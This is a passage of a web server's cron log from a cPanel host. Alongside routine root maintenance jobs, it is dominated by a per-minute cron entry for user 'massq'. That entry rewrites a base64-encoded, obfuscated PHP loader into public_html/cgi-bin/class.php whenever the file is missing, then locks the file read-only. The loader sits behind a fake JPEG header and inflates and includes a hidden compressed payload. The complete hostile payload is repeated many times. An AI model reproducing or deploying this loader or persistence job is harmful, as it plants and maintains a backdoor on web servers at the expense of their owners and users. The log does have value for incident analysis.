"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:05:01 server CROND[22429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:06:01 server CROND[22631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:07:01 server CROND[22697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:08:01 server CROND[22742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:09:01 server CROND[22790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:09:01 server CROND[22791]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 04:10:01 server CROND[22856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:10:01 server CROND[22857]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 04:10:01 server CROND[22858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:10:01 server CROND[22860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:10:01 server anacron[15418]: Job `cron.weekly' started
Apr  7 04:10:01 server anacron[15418]: Job `cron.weekly' terminated
Apr  7 04:10:01 server anacron[15418]: Normal exit (2 jobs run)
Apr  7 04:11:01 server CROND[23068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:12:01 server CROND[23162]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 04:12:01 server CROND[23163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:13:01 server CROND[23216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:14:01 server CROND[23263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:15:01 server CROND[23329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:15:01 server CROND[23330]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 04:15:01 server CROND[23331]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:15:01 server CROND[23332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:16:01 server CROND[23544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:17:01 server CROND[23600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:18:01 server CROND[23726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdL